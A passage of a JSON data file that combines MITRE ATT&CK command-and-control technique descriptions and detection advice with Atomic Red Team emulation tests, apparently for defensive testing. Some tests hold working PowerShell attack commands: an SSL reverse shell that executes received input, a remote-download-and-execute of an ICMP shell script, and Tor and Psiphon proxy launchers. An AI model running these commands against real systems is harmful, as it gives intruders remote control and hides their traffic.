- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-08-21T14:41:22.911Z",
- "name": "File Transfer Protocols",
- "description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ]
- },
- "atomic_tests": []
- },
- "T1102.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
- "type": "attack-pattern",
- "created": "2020-03-14T22:45:52.963Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1102.003",
- "url": "https://attack.mitre.org/techniques/T1102/003"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-26T23:26:10.109Z",
- "name": "One-Way Communication",
- "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1090.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
- "type": "attack-pattern",
- "created": "2020-03-14T23:23:41.770Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1090.003",
- "url": "https://attack.mitre.org/techniques/T1090/003"
- },
- {
- "source_name": "Onion Routing",
- "url": "https://en.wikipedia.org/wiki/Onion_routing",
- "description": "Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020."
- }
- ],
- "modified": "2020-10-21T17:54:28.280Z",
- "name": "Proxy: Multi-hop Proxy",
- "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)\n\nIn the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s WAN. Protocols such as ICMP may be used as a transport.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\n\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow"
- ],
- "identifier": "T1090.003"
- },
- "atomic_tests": [
- {
- "name": "Psiphon",
- "auto_generated_guid": "14d55ca0-920e-4b44-8425-37eedd72b173",
- "description": "Psiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you\nwith uncensored access to Internet.\nThis process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands.\nMore information can be found about Psiphon using the following urls\nhttp://s3.amazonaws.com/0ubz-2q11-gi9y/en.html\nhttps://psiphon.ca/faq.html\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The proxy settings backup file must exist on disk at $env:Temp\\proxy-backup.txt\n",
- "prereq_command": "if (Test-Path $env:Temp\\proxy-backup.txt) {exit 0} else {exit 1}\n",
- "get_prereq_command": "if(-not (test-path $env:Temp\\proxy-backup.txt)){\n$Proxy = (Get-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' -Name \"ProxyServer\" -ErrorAction Ignore).ProxyServer\nSet-Content $env:Temp\\proxy-backup.txt $Proxy}\n"
- },
- {
- "description": "The Psiphon executable must exist in the Downloads folder\n",
- "prereq_command": "if (Test-Path $env:UserProfile\\Downloads\\psiphon3.exe) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest -OutFile \"$env:UserProfile\\Downloads\\psiphon3.exe\" \"https://s3.amazonaws.com/0ubz-2q11-gi9y/psiphon3.exe\"\n"
- },
- {
- "description": "Batch file containing commands to run must be in src directory \n",
- "prereq_command": "if (Test-Path PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest -OutFile \"PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat\" \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1090.003/src/Psiphon.bat\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat\n",
- "cleanup_command": "$Proxy = Get-Content $env:Temp\\proxy-backup.txt -ErrorAction Ignore\nif($null -ne $Proxy) \n{Set-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' -Name \"ProxyServer\" -Value $Proxy}\n"
- }
- },
- {
- "name": "Tor Proxy Usage - Windows",
- "auto_generated_guid": "7b9d85e5-c4ce-4434-8060-d3de83595e69",
- "description": "This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy will be launched, run for 60 seconds, and then exit. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "TorExe": {
- "description": "Location of tor.exe file.",
- "type": "string",
- "default": "$env:temp\\tor\\Tor\\tor.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "tor.exe must be installed on the machine \n",
- "prereq_command": "if (Test-Path #{TorExe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Start-BitsTransfer -Source \"https://archive.torproject.org/tor-package-archive/torbrowser/11.0.6/tor-win32-0.4.6.9.zip\" -Destination \"$env:temp\\tor.zip\" -dynamic\nexpand-archive -LiteralPath \"$env:temp\\tor.zip\" -DestinationPath \"$env:temp\\tor\"\n"
- }
- ],
- "executor": {
- "command": "invoke-expression 'cmd /c start powershell -Command {cmd /c #{TorExe}}'\nsleep -s 60\nstop-process -name \"tor\" | out-null\n",
- "name": "powershell",
- "elevation_required": false
- }
- }
- ]
- },
- "T1001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:18.931Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1001",
- "url": "https://attack.mitre.org/techniques/T1001"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-15T00:40:27.670Z",
- "name": "Data Obfuscation",
- "description": "Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1571": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
- "type": "attack-pattern",
- "created": "2020-03-14T18:18:32.443Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1571",
- "url": "https://attack.mitre.org/techniques/T1571"
- },
- {
- "source_name": "Symantec Elfin Mar 2019",
- "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
- "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
- },
- {
- "source_name": "Fortinet Agent Tesla April 2018",
- "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
- "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018."
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-26T22:02:25.221Z",
- "name": "Non-Standard Port",
- "description": "Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Connection Creation"
- ],
- "identifier": "T1571"
- },
- "atomic_tests": [
- {
- "name": "Testing usage of uncommonly used port with PowerShell",
- "auto_generated_guid": "21fe622f-8e53-4b31-ba83-6d333c2583f4",
- "description": "Testing uncommonly used port utilizing PowerShell. APT33 has been known to attempt telnet over port 8081. Upon execution, details about the successful\nport check will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "port": {
- "description": "Specify uncommon port number",
- "type": "string",
- "default": "8081"
- },
- "domain": {
- "description": "Specify target hostname",
- "type": "string",
- "default": "google.com"
- }
- },
- "executor": {
- "command": "Test-NetConnection -ComputerName #{domain} -port #{port}\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1573": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118",
- "type": "attack-pattern",
- "created": "2020-03-16T15:33:01.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1573",
- "url": "https://attack.mitre.org/techniques/T1573"
- },
- {
- "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
- "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
- "source_name": "SANS Decrypting SSL"
- },
- {
- "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
- "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
- "source_name": "SEI SSL Inspection Risks"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2021-04-20T19:27:46.650Z",
- "name": "Encrypted Channel",
- "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ],
- "identifier": "T1573"
- },
- "atomic_tests": [
- {
- "name": "OpenSSL C2",
- "auto_generated_guid": "21caf58e-87ad-440c-a6b8-3ac259964003",
- "description": "Thanks to @OrOneEqualsOne for this quick C2 method.\nThis is to test to see if a C2 session can be established using an SSL socket.\nMore information about this technique, including how to set up the listener, can be found here:\nhttps://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926\n\nUpon successful execution, powershell will make a network connection to 127.0.0.1 over 443.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "server_ip": {
- "description": "IP of the external server",
- "type": "string",
- "default": "127.0.0.1"
- },
- "server_port": {
- "description": "The port to connect to on the external server",
- "type": "string",
- "default": "443"
- }
- },
- "executor": {
- "command": "$server_ip = #{server_ip}\n$server_port = #{server_port}\n$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')\n$stream = $socket.GetStream()\n$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))\n$sslStream.AuthenticateAsClient('fakedomain.example', $null, \"Tls12\", $false)\n$writer = new-object System.IO.StreamWriter($sslStream)\n$writer.Write('PS ' + (pwd).Path + '> ')\n$writer.flush()\n[byte[]]$bytes = 0..65535|%{0};\nwhile(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)\n{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);\n$sendback = (iex $data | Out-String ) 2>&1;\n$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';\n$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);\n$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1102.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
- "type": "attack-pattern",
- "created": "2020-03-14T22:34:03.024Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1102.002",
- "url": "https://attack.mitre.org/techniques/T1102/002"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-26T23:15:47.861Z",
- "name": "Bidirectional Communication",
- "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1573.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
- "type": "attack-pattern",
- "created": "2020-03-16T15:48:33.882Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1573.002",
- "url": "https://attack.mitre.org/techniques/T1573/002"
- },
- {
- "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
- "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
- "source_name": "SANS Decrypting SSL"
- },
- {
- "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
- "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
- "source_name": "SEI SSL Inspection Risks"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2021-04-20T19:27:46.484Z",
- "name": "Asymmetric Cryptography",
- "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1095": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ryan Becwar"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:10.728Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1095",
- "url": "https://attack.mitre.org/techniques/T1095"
- },
- {
- "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29",
- "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.",
- "source_name": "Wikipedia OSI"
- },
- {
- "source_name": "Cisco Synful Knock Evolution",
- "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
- "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
- },
- {
- "url": "http://support.microsoft.com/KB/170292",
- "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.",
- "source_name": "Microsoft ICMP"
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2022-02-17T15:38:54.578Z",
- "name": "Non-Application Layer Protocol",
- "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ],
- "identifier": "T1095"
- },
- "atomic_tests": [
- {
- "name": "ICMP C2",
- "auto_generated_guid": "0268e63c-e244-42db-bef7-72a9e59fc1fc",
- "description": "This will attempt to start C2 Session Using ICMP. For information on how to set up the listener\nrefer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "server_ip": {
- "description": "The IP address of the listening server",
- "type": "string",
- "default": "127.0.0.1"
- }
- },
- "executor": {
- "command": "IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')\nInvoke-PowerShellIcmp -IPAddress #{server_ip}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Netcat C2",
